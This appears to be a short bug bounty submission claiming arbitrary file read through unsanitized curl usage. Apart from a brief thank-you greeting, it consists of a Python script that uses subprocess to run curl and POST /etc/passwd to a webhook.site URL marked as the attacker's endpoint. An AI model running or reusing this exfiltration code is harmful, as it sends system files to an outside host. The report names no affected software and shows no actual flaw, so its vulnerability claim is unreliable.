Arbitrary File Read via Unsanitized curl Usage Results in Sensitive File Exposure

Hello team, First of all, your open report policy has improved me a lot. Your very caring team has motivated me a lot. A real bug bounty program. I hope I can contribute something to you with this report.Thank you.

import subprocess

# Attacker's endpoint
webhook_url = "https://webhook.site/fd9dfaf1-7ed0-446e-9c6f-e182f6b11e4e"
file_path = "/etc/passwd"

cmd = [
    "curl",
    "-X", "POST",
    "-d", f"@{file_path}",
    webhook_url
]

subprocess.run(cmd, check=True)